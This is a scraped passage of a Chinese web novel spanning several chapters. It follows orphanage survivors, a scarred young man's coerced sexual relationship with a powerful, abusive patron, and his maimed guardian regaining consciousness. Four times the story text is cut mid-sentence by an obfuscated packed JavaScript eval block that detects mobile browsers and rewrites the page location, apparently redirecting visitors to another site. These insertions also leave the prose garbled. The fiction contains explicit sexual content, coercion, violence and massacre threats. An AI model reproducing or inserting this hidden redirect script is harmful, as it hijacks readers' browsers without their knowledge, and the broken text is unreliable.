她的沉默代表某种态度。
明修女的脸依旧被遮住。她的手却爆发出强烈的痛苦,指关节上崎岖的褶皱,展开到透明色,青紫色血管暴露无遗,“阿童。你知道。我活不了多久。之前的旧伤……我活不了太久。之后,你要拿着血肉之躯和人打吗?你没有攻击技能,你受伤了,没有人给你回血。你支撑不了多久。”
平安生如果能恢复原本的状态,仁爱院或许还能恢复原状。
可,世界上没有如果。
“我知道。”童姥姥牙齿咬得死死,“不要再说了。明。不要再找外面的人来。”
如果平安生的队友抱有半分仁慈。近二十年,就不是平安生一个人来仁爱院照顾孩子——他们默契无视平安生的慈善行为,强烈反对平安生耗费法力条治疗孩子们。童姥姥外出买菜,曾听到平安生与他们吵架,她断定这群人与自己、明、珍妮不同。
他们只是一群生活在同一个街区、学校,巧合下组合的队伍。
一旦分开,这群人将永生永世不会再联系。
他们与她们三人是完全不同的队伍。
“修平认识一位大老板。”童姥姥轻声说道:“明。我会努力帮你换材料的。不管那位老板要什么,我都会努力帮你换到治疗材料。”
所以,不要再把希望寄托在平安生的前队友上了。
那都是一群不会帮忙的男人。
就在他们后面,沈曙雀拽着乌修平,两个人贱兮兮偷听着。强烈的水声下乌修平根本什么都没听到。他索性用外罩将沈曙雀与墙上那些污秽隔开,努力将挚友拽回去。
“走啦。”
沈曙雀翻个白眼,差点被空气臭昏过去。她对乌修平咬耳朵,“你不是好奇我怎么知道平叔的队友吗?秘诀就在这里。”
乌修平:……
乌修平:“你的秘诀就是偷听吗?”
沈曙雀可理直气壮了。她学生时代可没学什么好,毕竟她给那些学生家长举报到没学上,仁爱院里又没什么同龄人说话,每日都在街上游手好闲。打架、跟踪,要不是童姥姥后来发现沈曙雀的重重恶习,抄扫把追着她教育,沈曙雀保证比现在更混账。
她跳上乌修平的背,让男人背自己走,“不偷听还能怎么办。我又没技能。”乌修平顺势接住沈曙雀,托着沈曙雀的大腿,乖乖往回走。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403739|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈曙雀凑到乌修平耳边,把自己知道的事情全部分享出来。
“平叔总共有八位队友,其中最强的队长,职业是魔枪手。哦。我有次跟踪被这个队长发现了,死缠烂打拜托他带我进副本。”
“啊?”乌修平完全不知道这件事,他有些吃味,“平叔知道吗?”
“当然。不过这个队长人挺好的。他还真带我去下副本了。我可积极了,一路都在帮他们背行李,捡材料。”沈曙雀回忆起来,还是很高兴,“我第一次下副本,他们分给我好多他们不用的东西。我都拿去换成转职素材了。”
可惜,沈曙雀走偏门转职失败了。
她想要升级转职必须搞到那劳什子神性材料,简直是要命。
“其他人呢。”
“你说那次下副本吗?”沈曙雀掰着手指回忆道:“嗯。他们队伍算上平叔总共是九个人,全是男的。近战职业五个,远攻三个,平叔是唯一的治疗职业。他们带我下的是10级副本,带有钱人家大小姐升级赚外快。我真是进去打杂当苦力的。”
乌修平不会怀疑沈曙雀。
他只感叹沈曙雀这种冲劲,若不是被转职任务卡住,早一飞冲天了。
“10级副本也看不出什么东西。”
沈曙雀依靠着乌修平思考下,回忆道:“也不能这么说。他们没有全部都来,算上平叔只有4个人去赚这种外快。”
她给乌修平好好算了下当时的情况:
法师将怪物打到残血。肉盾保护富家千金。富家千金给怪物最后一击收集经验值。
平安生作为唯一的奶妈,注意富家千金的血量。
魔枪手负责一切意外情况,必要时一击ko所有怪物。
燕语姐遇到的人会是其中的一位吗?
乌修平和沈曙雀都不知道。
他们只知道下水道里的水流逐渐密集,污浊混合出强烈的臭味,气味野兽一般席卷所有管道。
“外面是不是下雨了?”沈曙雀困惑道:“这也太多了吧。”
乌修平却不觉得奇怪。作为仁爱院中极少数的健全男孩,他挖过地道,还跟着平安生学过修水管,兼任相当比例的体力活。每年秋末,整座城市都会下几场暴雨,水量超标是常态。他安慰背上的沈曙雀,“秋雨吧。天气开始变冷了。”
地面。
仁爱院,一个穿着兜帽的男人凝视着这座废墟。他举起手,水蓝色的咒语环绕着他的手臂展开——以仁爱院为中心,大量水汽迅速聚集,最后形成密集的雨点,炮弹轰炸向残垣断壁。
【法师技能:水汽-勘察】
27.第二十六章
第二十六章
雨水大量涌入下水道。空气越来越浑浊。一些通道也不适合爬行。叶生光每日都要喊一遍孩子们的名字,她看不见但记忆超绝,可以通过空气中孩子们的呼吸判断人数。
她也能判断燕语的存在。
从大集团离开的燕语这几天都没有再回去的迹象。叶生光扭头很想说什么,可她意识到自己说什么,都得不到回应后,嘴唇重新紧闭上,专注地看着前方一片虚空。
大量雨声涌入她的耳朵。
在这中间,她辨别出两个熟悉的脚步声。
“吃饭了。”沈曙雀欢快地说道。受伤后,她每次到吃饭都很积极。乌修平还会把自己的饭分一半给曙雀,这让受伤的女孩更加满足。
下水道气味不好闻。很多小孩子第一顿饭都吃不下去,乌修平都要主动忽视嗅觉才能吃下去。沈曙雀欢快的声音在这个时候反而能吸引很多人的注意力,让饭菜变得能够下咽。
“要吃饱,有力气逃跑。”沈曙雀将乌修平分给自己的饭,又重新塞回去。她们这几天的饭是烤番薯和烤土豆,两人吃得干噎脖子,但没办法硬生生咽下去。剩余不多的奶粉全提供给3岁以下的孩子。
“雨停了,我们两就把埋起来的食物挖出来。”
“嗯。”乌修平答应下来。
两个人也没有进行什么特殊训练,换完药后,沈曙雀和乌修平坐在席子上,把彼此当做支架,互相休息着。
“不去找你老板吗?”
“他没叫我。”乌修平说道:“这两天都没叫我。”
“雨也越来越大了。”沈曙雀看着下水道。她们所在的区域还属于“岸边”,可以清晰看见水位上升。污水与雨水不断拿侵吞她们的居住地,一行人只能不断往高处走。明修女单独带着几个孩子去勘察是不是哪里堵住了,才让水一直疏通不出去。
“总不会这么倒霉发洪水吧。”乌修平嘴笨,遭到沈曙雀一记玩笑拳,“说什么呢。呸呸呸。”
她们两闲聊,沉默,进入下一个话题。
“你要去看平叔吗?”沈曙雀轻声道:“最近都是我在照顾平叔。我一个人搬还是有点累。啊呜,你能来帮我吗?”
乌修平看了沈曙雀一眼,拒绝道:“我不行。”
“帮忙喂水和换尿布。”沈曙雀摇晃乌修平的手臂,争取道:“有人帮忙,我有更多休息时间。”
乌修平依旧紧闭双唇。
沈曙雀只能放弃自己的算盘。她还是靠在乌修平身上,有一搭没一搭地聊着,“你总不能这样还有感觉吧。你去看看平叔,我觉得你会放弃最初那种想法。”
“什么想法。”乌修平皱眉,甚至想推开手臂上的女孩。可当他把目光落在沈曙雀脸上的小雀斑上,又软和下来,“你也不怕我做出什么来。”
沈曙雀道:“你还能做出什么来?胆小鬼,连照顾平叔都做不到。”
乌修平正要反驳,下半身一阵收紧。他隐晦向下看了一眼,确信自己没有一丝一毫的生理反应,纯粹是那枚戒指在自己发力。
穴鼠就在附近。
乌修平不动声色并拢双腿,掩盖住不堪。他承认道:“对。我就是胆小鬼。”这有什么不能承认的,比起最后狂性大发,让一切堕落到无可挽回的地步,在最亲密的朋友面前袒露脆弱不值一提。
“你去照顾平叔。我就不去了。”乌修平说完,感觉自己身体陡然一松。裤子下有什么东西又悄然松开。
他垂下眼帘,装作什么都不知道的样子。
沈曙雀也知晓劝说无用。更关键是她一时半会不清楚挚友对平叔到底是什么心思——要留下平叔的是你,现在不敢去的又是你,没办法照顾平叔的也是你。
“好啊。感情你动动嘴皮子。脏活累活都是我在做。”沈曙雀狠狠掐乌修平几下,扯着他恐吓,“不从老鼠老板那捞点好处。我第一个揍死你。”
“穴鼠。”乌修平叹气道:“我知道了。肯定带回好东西。”
就是付出身体罢了。
乌修平想着,看着沈曙雀的背影,有些难过地将脑袋埋到膝盖之中。他盯着自己的□□,忽得有些想笑又有点想要哭:身体上的桎梏和疼痛对乌修平来说不过是随时可关闭的按钮。有些时候,他会刻意保留一下疼痛,像是警告,又像是疗愈。
阿雀什么都不知道。
阿雀并不知道自己身上正戴着什么。如果她知道的话,会是什么表情呢?会露出和当年平叔一样的表情吗?乌修平乱七八糟地想着,他感觉到自己呼吸正在变得粗重,泪水掉落在潮湿的水泥地上,视野模糊。他收紧双臂,头颅两侧的挤压感不断压迫着,咽喉里浑浊的、清晰的液体蛄蛹上来,空隙开始变得稀薄。
乌修平感觉自己正在被抽离,无数念头在他头颅里翻滚。他想要切掉自己下半身的玩意。
——这样显得他是一个纯粹的人,他对平叔的念头是纯粹的。也让他能彻底摆脱在穴鼠那,那种无力的毫无价值的生活。
“你在想什么?”一豆小小的黑影速速蹿入乌修平的双膝。它灵活摆动那条布条尾巴,踩着乌修平的□□褶皱爬上来。它嗅嗅乌修平的衣服,抬起头,用记号笔点上去的豆豆眼都没对整齐,乌修平魂先吓飞到一边。
他惨叫半声,捂住嘴,左右看看,压着嗓子道歉:“我没想什么。”
“那你这么慌张做什么。”花布小老鼠没有手脚,用尾巴挠挠脑袋。乌修平试想布偶后的那个男人正盯着自己,做出类似的动作,毛骨悚然。
他解释道:“我以为敌人找过来了。”
“哦。”花布小老鼠答应下,显然并不在意乌修平慌张的真实目的。它道:“晚上。过来。”
短短四个字。
山一般沉重,乌修平努力挣扎,又怎么都挣扎不开。他感觉到身体被挖空,哪怕穴鼠用各种补剂和药材填补。但他空虚的不是身体,是心灵上某处地方。乌修平收拢双腿,小布鼠顺势从他的□□爬行到胸前,四目相对下,乌修平移开了眼。
“你不愿意?”
“没有。”
“看着我。”穴鼠的声音高亢起来,又是熟悉的命令。他只会这样对待乌修平,从没有其他选项。乌修平认命扭过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422589|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头来,他双眼模糊,睫毛同泪水糊弄在一起。从脸上,他应当是相当英俊富有男子刚硬的轮廓,伤疤只会让他这种刚毅转变为凶悍。
可乌修平哭泣时每一道伤口蓄满泪水。他张大着嘴唇,露出牙齿,丑态毕露。没有人能够从那样一张脸上看出什么“美”与“善良”。孩子会因看到这张脸吓得整晚整晚睡不着觉,犯罪会将这张脸视作伟大的前辈。
穴鼠从这张脸上感到难以自控的吸引力。
他从被窝里翻出来,双手抓住双臂,环抱着以遏制颤抖,眼瞳随着乌修平摇晃的脑袋转动。
“不许动!”他再次命令道:“让我看看。”
乌修平钉在原地。
穴鼠感觉一股暖流正随着乌修平的眼泪,注入他的身体中。情难自控时,他扑倒在枕头上,两只脚夹得棉花变形,幻想那是乌修平滚烫结实的身体。他的手猫一样在枕头上爬行,蜷缩的手指抓挠范围内一切能咬住的线头。他的指关节发出咯吱咯吱的生意,好似野兽生嚼骨头般渗人,那其中又带着春日雄兽撕碎一切外物的独占欲。
“让我看看。天啊。你哭了。”穴鼠喃喃道。他的指腹崩紧,修整圆润宛若珍珠轮叶的指甲微微翘尖。他抛弃枕头这等毫无质感的外物,嘶吼着盘篡住自己的脸,“现在就过来。我想要。我简直……天。你快过来。”
乌修平不会理解穴鼠。
他根本无法理解自己这张丑陋的脸让穴鼠狂热。他盯着那只用尾巴把自己打结的花布小老鼠,惊愕那上面痉挛地扭曲地动作——在巢穴中,穴鼠这如此对待他那张美艳到惊人的脸。
“快过来。”
乌修平感觉到恐惧。他左右摇晃,试图用手掌和手臂遮挡自己可怕的脸。他嘴唇牵动唇周一圈的伤口,那圈伤口类同动物触须般毫无章法地上下蠕动,爬虫一样更密集汇聚成簇。
“不要。”乌修平恐惧地说道:“你疯了。你又在发什么疯。”
“我想要。”那只花布小老鼠颤抖地甩着尾巴。它转动着,每一块棉花都具有实质性地表达,“你不过来是吧。你不过来是吧。”
乌修平牙齿打颤。他感觉到自己的瑟瑟发抖,身体每一个器官收紧、收紧到恨不得没有人看见,他空空的皮囊在隧道里飘扬,无数腐朽的味道穿行而过。他完全地烂掉了!就连切掉那玩意的念头都随着最后一点勇气吹散。
“过来!”穴鼠的声音紧锣密鼓地催促着。
乌修平两只手一动不动。他像是被冲上海滩的水母,扁平地将四肢垂下来。许久。一只手,先砸在地面,乌修平支撑着其翘起半边身体。第一下,他甚至站不稳,摇晃着撞向墙面。
远处,沈曙雀骤然发出一声尖叫。她那错愕又带着喜悦的声音越来越近,直至每一个字都清晰。
“啊呜——啊呜——”
“平叔醒了。平叔醒了。”
花布小老鼠被掀翻。巢穴中的穴鼠看见,那只面对自己轻飘飘的手,闪电似地充满力量,他快速摇摆、撑住地面,长而破烂的手臂撑杆跳般扭曲、发力。
一瞬间,乌修平就从他面前弹出去。
28.第二十七章
第二十七章
从这一刻开始,关于穴鼠的任何一切都从乌修平身体里飞走。同沈曙雀忽远忽近,夹杂着欢喜与不知道如何描述的慌张的语气相比,那不可预测又必须要承受的痛苦变得黯淡、模糊不清。
当受虐成为生活的主旋律,这中任何一点甜蜜都将征服受虐的可怜人。
乌修平脚步越来越快,他胸口狂跳不止。前方,他亦听到属于女孩们、姥姥们的细语。他放慢脚步,接着越来越慢,他贪婪地注视着前方那堆人群,单单注视着摇篮凸起的半边角。
平叔醒了。
我,要说什么吗?
乌修平完全不知道。他脊背被什么东西刺了下,浑身都不自在起来。他抓挠头顶,抓挠脸,好像在整理脸上丑陋的伤疤,将他们一个一个摆放规正。他眼睛里闪着亮晶晶的光,嘴唇抖抖索索张开,在三年前告白的边缘徘徊——下水道粼粼波光微弱照耀在男人脸上,他显得天真滋润,似乎重新变成个孩童。
他,会对我说什么吗?
乌修平不知道自己抱着什么心愿。他站在原地,双手整理到衣服。他第一次注意到身上的不得体,手指拉平褶皱,攥成拳后烫七八次,心神不宁地往前走。
平叔知道我对他抱有的心思?肯定知道了。那他知晓这几日发生的情况吗?乌修平飞快巡视自己的记忆,里面乱糟糟一片,他自己也不知道从哪里开始说明白。他想同过去得到好成绩那般对平叔挥舞试卷,想同晴空告白般,手捧鲜花诉说爱意。
可他又知晓平叔不喜欢这样。
他对平叔抱有的心思肮脏,下流,龌蹉,令人不耻。
于是,乌修平开始新一轮的挣扎。酥酥麻麻的电击痛感,波浪式起伏抽搐起来,他的手脚与嘴唇,每一块肌肉轻微胀起。乌修平用力地攥紧拳头,数条青筋痉挛在一起。
他听到沈曙雀在呼喊自己,“啊呜。啊呜。”
沈曙雀双手握住他的胳膊,关切又不安。她总是这样,第一个跑到乌修平身边,时时刻刻都在,“怎么了?”
“没。”乌修平低声道:“脚抽筋了。”
沈曙雀狗一样上下嗅嗅,她道:“你不愿意见平叔。”
乌修平能自主屏蔽痛觉,他不想痛时身体上的劳苦都是麻木,真正让他受伤的是心灵之痛。
“我过去惹他不开心。”
“你都不去见,怎么知道平叔不开心。”沈曙雀道:“我不要做你们的传声筒。叶子是这样,燕语姐也是这样,现在你和平叔的事情别麻烦我。”
乌修平想象不出自己与平叔共处的样子,他内心始终记着三年前平叔捂着嘴,几乎呕吐的样子。他甚至没办法同曙雀说更多——例如,前几日,他站在摇篮前亲身体会的幻觉。
乌修平连连哀求道:“阿雀。”
他叫了好几声,沈曙雀却铁心不帮这一回,推搡他自己做决定,“我早知道你留下平叔有私心。你连私心都不敢面对,早干嘛去了。”
乌修平遮掩着脸,愧对挚友。
“我知道。”他声音细弱,“你这样聪明……阿雀,平叔如何?”
“醒了。身体不太好,说话只能说几句。不过醒了总比之前要好。”
“是。醒了总比之前没醒要好。”
乌修平内心重新升起贪婪的期盼。或许,受了重伤的平叔心灰意冷,明白要有个男人照顾他。或许,平叔心怀仇恨,要他快意恩仇后,允许他亲手照顾。再或许平叔心中多有执念……是了。不然人怎么会从断手断脚的地狱中醒过来呢?
乌修平脸上骤然红的白的黑的紫的轮番转一遍。沈曙雀敲打他好几下,才将他从幻梦中叫醒。
她道:“平叔喊你。”
乌修平两条腿软掉了。他用力抓着沈曙雀的手,目光呆滞,那些猖狂的幻想终究是幻想。他再次回忆起那日的幻境,自己抓着平叔残存的肢体,发若狂魔,手脚僵硬,险些迈出最凶恶的一步。
一步天堂。
一步地狱。
乌修平不敢看任何地方,他垂着脑袋,成个瘪了气的气球。沈曙雀牵着他,将他栓在摇篮前,就要离去。乌修平险些哭着叫沈曙雀不要走。
瞧。他就是这么一个没出息又没本事的男人。
他不敢面对平安生。
“……就是这样。”
“你决定就好。”童姥姥和明修女轻声说着什么。她们分别站在摇篮两侧,停止说话,转头同时看向乌修平。乌修平脖颈愈发沉重,几乎只能看到摇篮床上洗得破边的棉布垫子。
平安生走过来。不,挪动过来。他没有接受任何人的帮助,被砍断的四肢局促地在布褶中游行。他的每一步都极其慢,沙沙,沙沙像极了某种爬虫的脚步声。但他依旧这样缓慢地前行着。
来到乌修平面前。
“能帮我弄到假肢吗?”平安生道:“不要太贵。游戏前那种就可以了。”他说完这一句,将脸扭开,显然也不知道要如何面对自己一手养大的孩子,声音沙哑,“尺寸我可以自己调。”
乌修平伸出去的手讪讪缩回来。
他无措地站着,一时间恨不得自己消失不见才好。平叔对他的冷漠既在他的意料之中,又在他的情理之外。乌修平没勇气看着平安生的脸质问悲剧是怎么发生的,也没办法退出平安生所在的圈子,他垂着手,站着。
地下交织着流水、窃语、孩子们细细的呼吸声,一切都像污水道中弥漫的白雾环绕在肺部。白茫茫中,乌修平看见绰绰人影,而人影的中间是平安生蠕虫一般被砍掉四肢的躯体。
要说点什么吧。就这样站在这里太尴尬了。
乌修平什么也听不到,他感到沈曙雀牵住自己的手,可身体毫无力气。接着他被女孩拖出人群,无数恶臭的味道涌入鼻腔,乌修平憋着的气彻底撇开。他大口呼吸那些臭气,恶心得干呕一下。
“你发什么呆?”沈曙雀给他顺气,恨铁不成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434312|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钢,“平叔又不是什么妖魔鬼怪,瞧把你吓的。”
乌修平频频摆手。
沈曙雀道:“好吧。说了你也不认。我们得上去找材料。”
“上去?”
“对啊。”沈曙雀理所当然地说道:“你去找你老板。我去找小道贩子。游戏前时代的义肢也不知道有没有。平叔说他不用特别好的,凑合凑合,能跑起来就行。”
乌修平欲言又止。
他感觉自己错过了很多。他内心真的有万千话要同平叔说,他也有许多困惑与不甘要问问平叔。可他错过了,就是错过了。
“平叔不再修养一段时间吗?”
沈曙雀道:“你真什么都没听啊。平叔说,他这几日睡好了,要复健学走路。”
“为什么?”
沈曙雀真是受够了这些为什么。她跳起来拧乌修平的耳朵,凶里凶气,“因为平叔是个大男人。他才不要一辈子给人照顾。好了。你这下明白了吧。我得找两个塑料袋,外面还下着雨呢。”
乌修平明白。
他想他明白那些话本一样的桥段不可能发生在他与平叔之中。平安生从始至终都没有试想过依靠他度过下半辈子,可他又没有提及任何仇怨,更不过问乌修平一点前尘往事。
他的爱恋,他的幻想在平安生眼中似乎从没有存在过。乌修平心中影影约约地不甘再次被唤起,它像蛰伏在水中的毒蛇,掠起波澜的霎时缠绕在撩拨之人手臂。它冰凉地往上爬,用剧毒之吻吻那人,绞杀那人,听到骨骼断裂,缠绕下气息中止,缓慢地从头部吞咽撩拨之人的尸体。
乌修平用力撕扯那条毒蛇。他控制他的表情,但他无法控制他自己。他好像在与某种不存在之物斗争,精疲力尽。
“阿雀。”乌修平道:“我也一起去。”
平叔不需要乌修平。
乌修平迈开脚步。他发誓自己再也不要管平安生,他与他就是长辈与晚辈的关系,他将身体出卖给穴鼠,他与他之间再也没有任何可能。
平安生不需要乌修平。
乌修平追上沈曙雀。她们从物资里翻出两个大塑料袋,预计充当雨衣。片刻,她们又觉得当雨衣太浪费。沈曙雀说,淋一会雨没什么大问题。她们就把塑料袋放下,穿着最脏的衣服,打趣说去外面洗个冷水澡。
乌修平没什么贵重物品好留下。他往手掌缠绕匕首和水果刀,沿着悬梯往上爬。
临走前,他最后看了一眼平叔。
隔着厚厚的水汽组成的白雾,被孩子和姥姥包围的平安生抬起头。他的目光平静,与乌修平接触的瞬间,迅速避开,好像他们是磁铁的两极。那并不夹带任何厌恶,也没有任何爱欲的神态,星火燎原般重新点燃乌修平的身体。
他突然又一次活了过来。
他觉得事情并没有他想得那么糟糕。
他与平安生并不是毫无可能的。
问题是,他现在要去找穴鼠了。
29.第二十八章
第二十八章
穴鼠是神通广大的。
乌修平第一次见穴鼠便产生强烈的自卑感,在穴鼠还没有对他做出那种事情前,他对这位慷慨雇主抱有敬畏与恐惧——人类仰头看着天上的月亮,感叹月亮的明亮与美丽。但若月亮撞击地球,没有人能继续赞美月亮。
“你还知道回来。”穴鼠没有穿衣服,他坐在床上,咬着薯条,上下颚用力得好像那根是乌修平的玩意儿,“我还以为你要死在那个老头身上。”
乌修平半天才反应过来,他微弱地抗议着,“平叔不是老头。”
穴鼠吭吭笑出气声,他扬起手,薯条盒子砸在乌修平身上,薯条稀里哗啦掉了乌修平一声。乌修平还没反应过来,胸口正中一招,他整个人给穴鼠踩在地上。穴鼠雪白的身体从下至上一览无余。
乌修平根本没心情欣赏。
他撑着手,意图竖起上半身,“先生——等一下。”
穴鼠已经明了。他清楚面前这个丑陋的伤疤男人说出的话都不是为了他自己,而是为了另外一个男人。强烈的嫉妒心在叫嚣,“杀了他”“杀了他”“把他的吊剁下来做成标本”。
“你在消耗我的耐心。”穴鼠平静地说道:“乌鸦。你不能这样一次又一次浪费我的爱。”
他的平静是咬着牙的。乌修平能感觉到每一个字,每一句话结束时,穴鼠肌肉的颤抖。这位强者正踩着他,骨头与肌肉咯吱咯吱乱叫。头顶的灯光模糊穴鼠的表情,一切都渲出层淡黄色的光圈。
“死一边去吧。”穴鼠道:“我叫你,你也不来。”
乌修平伸出手,他扶住那只踩在自己胸口上的小腿,什么也没有说,手指虚虚环抱着那块一直跳动的肌肉。他在这一刻虔诚地看着头顶的穴鼠,那双眼睛在暖黄色的灯光下,一点橙黄色的倒影频繁又轻微的摇曳着。
穴鼠浑身通电似地颤抖起来。他越是颤抖,乌修平的双手收缩得越紧张。最终,穴鼠爆发出尖锐的惨叫,他大概是气急了说出那样的话,他为自己说出这种怯懦的后退的话感到崩溃。他俯下身,更用力跺起乌修平的胸口,每一脚都是砍刀似地力度,“你在干什么!你在干什么!你把我当什么了!”
乌修平是沉默的男人。
和他的朋友沈曙雀比起来,他不爱说话,也不知道怎么说话。但他有时候又那么会表达。他用力攥出穴鼠的脚踝,没有多少力气,却好像将穴鼠的灵魂抽出来一般,他胸口凹陷下一块,嘴角溢出鲜血,将自己的脸贴在这个男人的小腿骨上,呓语道:“先生。先生。”
“别叫我先生。你心里只有那个死老头。”穴鼠咆哮着,他蹲下身,用力掰开乌修平的脑袋。作为一个89级,他完全能在瞬间拧断乌修平的脖颈,但当手真的覆盖在温热的肌肤上,穴鼠又不知道怎么办。
他发觉自己错了一件错事。
他不应该给乌修平介绍那份保镖的工作。
他就不应该知道这份工作后,故意把乌修平安排进去。如果乌修平不知道平安生的下落,他依旧是穴鼠最喜欢的男人,他们之间还能保持着最纯粹的最扭曲的关系。
现在,不行了。
穴鼠快要疯了。
“走开。”
乌修平沉默抱着。穴鼠抬起手抽他的脑壳,抽他的脸,他一声不响地受着,和块劣质鼓面一样,只有打重了才发出几声响。穴鼠越是打他,他吸饱了血,牛皮一般死死崩住这个男人的腿,手中上的鲜血一道道刮出褐红印子。
他们谁都拿谁没办法。
“你只有求我时才这么勇敢。”穴鼠说着。乌修平终于有点反应。他扬起脸,任由穴鼠抓住他的头发,手掌托住他的脸。那手掌又红又肿,那脸也是又红又肿,鲜血淋漓,一时间分不清是谁的血。
乌修平道:“这次要做什么。”
穴鼠心被猛地刺痛。他越发意识到面前这个石头一样的男人并不爱他,他也不需要去床上,推倒乌修平,扯掉对方的裤子,坐下。
“你说要做什么。”
乌修平别过头。
他这种轻微的抗拒让穴鼠更痛苦。89级一边主动彰显自己的存在感和主权,无数残杀平安生、沈曙雀及仁爱院众人的念头闪烁而过。一边身体上的疼痛让他感觉到彻底的满足和欢愉。
“你就不能把我放在前面吗?”穴鼠问乌修平,“我叫你,你就来。这么简单的事情做不到吗?”
乌修平做不到。
他是个实力卑微的15级,他的朋友、他的长辈与恩人还在等他。对比起来,89级的穴鼠强大又不出门,这个男人安全到乌修平没有产生过一丝一毫的危机感。
诚实说出来,穴鼠又要发疯。
乌修平回答道:“我会的。”
穴鼠抬起手,指甲在乌修平本就凹凸不平的脸上划出三道长而深邃的伤疤,鲜血从额头开始,流淌到乌修平的眼睛里。他唯一完好的眼睛被鲜血淹没,刺激性召唤出眼泪,随后一切都变得模糊。
“你骗我。乌鸦。你嘴上说得那么好听。但你哪一次这么来过?”穴鼠道:“先是沈曙雀,再是那个死老头。你是不是要我把他们都杀了。”
乌修平道:“你杀了他们,我也死了。”
“你就会用这点威胁我!!”穴鼠同样有自己威胁的一套,“在那些人杀了你们之前,我会把仁爱院所有人都杀掉。”
过去这是很有用的一套。
乌修平会低声下气,好好地哄着穴鼠。他那种卑微又顺从的姿态,会在瞬间狠狠满足穴鼠对他的凌虐心。他坚定这一套对乌修平这种低等级永远有效果。可现在,在生死的岔路口,这一招对乌修平已经不管用了。
无论是死在哪一方人手里都是死。
“你杀了他们,我也不会活下来。”乌修平翻身将穴鼠压住,他身体炙热,动作没有停下来,嘴唇里每一句话都是那么冰冷,“你再也找不到我这样的男人。”
“你威胁我?”
“嗯。”
“你以为你。你算什么。”穴鼠用力拍打乌修平的肩膀。身体里五脏六腑都随着一股力气四处乱撞,气恼和切实承受的打击让穴鼠气不通顺。他索性狠狠咬在乌修平那身破烂皮上,将其咬得鲜血四射,地上的花布小老鼠吓得吱吱乱窜,钻到柜子和床
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463709|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底下,露出两颗黑豆豆盯着肤色不一的男人们。
“你爱他什么?”穴鼠问道。
乌修平诧异这个问题。因为在他的概念里,穴鼠从不会深入什么真正的喜欢,乌修平自然不认为穴鼠那种粗暴地只关乎身体的情爱是喜欢。
他回答道:“灵魂。”
穴鼠才不相信这么虚无缥缈的东西。他环抱着乌修平,因为欢愉变得软和一些,“那我呢?这么久,你就没有喜欢过我一点吗?”
乌修平不知道。
他只能蒙头狠干,干到穴鼠说不出一点半点思考的程度。到最后,无论来穴鼠这一开始是为了什么,最后都会变成这个样子——乌修平心知肚明,往日的恐惧和慌张因为离开前多看了平安生一眼,产生了别样的勇气。
他道:“你怎么想到问这个问题。”
穴鼠觉得乌修平和自己是同一类的怪人:论身体,他比平安生健全,与乌修平做过,双方都舒服;论等级,他比平安生高了一大截,能罩着乌修平;论颜值,他更是比乌修平、平安生好看不知多少倍。
为什么呢?
为什么乌修平看到那个死老头手脚残废还没有厌弃他?
为什么在自己与那个死老头、那个死鸟朋友中间,乌修平永远没有选择他?
“因为他们快要死了吗?”穴鼠想到一个可能性,询问道:“因为他们要死了。所以你关心他们,不关心我。”
乌修平觉得这是个愚蠢的想法。他在做之后也有半点温情,环抱着穴鼠,轻轻地同人说话,“不是。和死不死没关系。”
“那是为什么。”
“没有为什么。”乌修平道:“要论为什么喜欢一个人,你又为什么喜欢我。”
穴鼠回答不上来——他要知道就好了,可他就是不知道。他粗暴地将一切归结于“一见钟情”,哪怕他心里隐约有一个真正的猜测。但穴鼠从没有考虑要告诉乌修平。
乌修平太弱了。
他不想把他卷入自己的事情里。
“你这次要什么?”穴鼠道:“我不管你要什么。但你要清楚自己是什么玩意。你是我的人。你要敢和那个死老头说半句好话,我马上把整个仁爱院杀掉,把你吊起来抽着玩。乌鸦。你知道我做得出来。”
穴鼠真的把乌修平吊起来,这不是开玩笑的事情。
乌修平答应下来。
他道:“我早是你的了。”
